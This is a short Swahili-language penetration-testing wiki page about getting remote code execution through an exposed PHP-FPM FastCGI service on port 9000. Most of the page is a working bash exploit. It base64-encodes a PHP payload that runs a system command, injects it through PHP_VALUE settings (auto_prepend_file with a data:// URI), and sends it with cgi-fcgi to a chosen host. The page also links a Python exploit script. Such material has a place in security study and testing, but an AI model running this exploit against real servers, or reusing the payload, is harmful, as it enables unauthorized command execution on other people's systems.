{{#ref}} pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md {{#endref}}

Kwa kawaida FastCGI inafanya kazi katika bandari 9000 na haitambuliwi na nmap. Kawaida FastCGI husikiliza tu katika localhost.

RCE

Ni rahisi sana kufanya FastCGI itekeleze msimbo wowote:

bash

#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

cat $OUTPUT
done

au unaweza pia kutumia script ifuatayo ya python: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
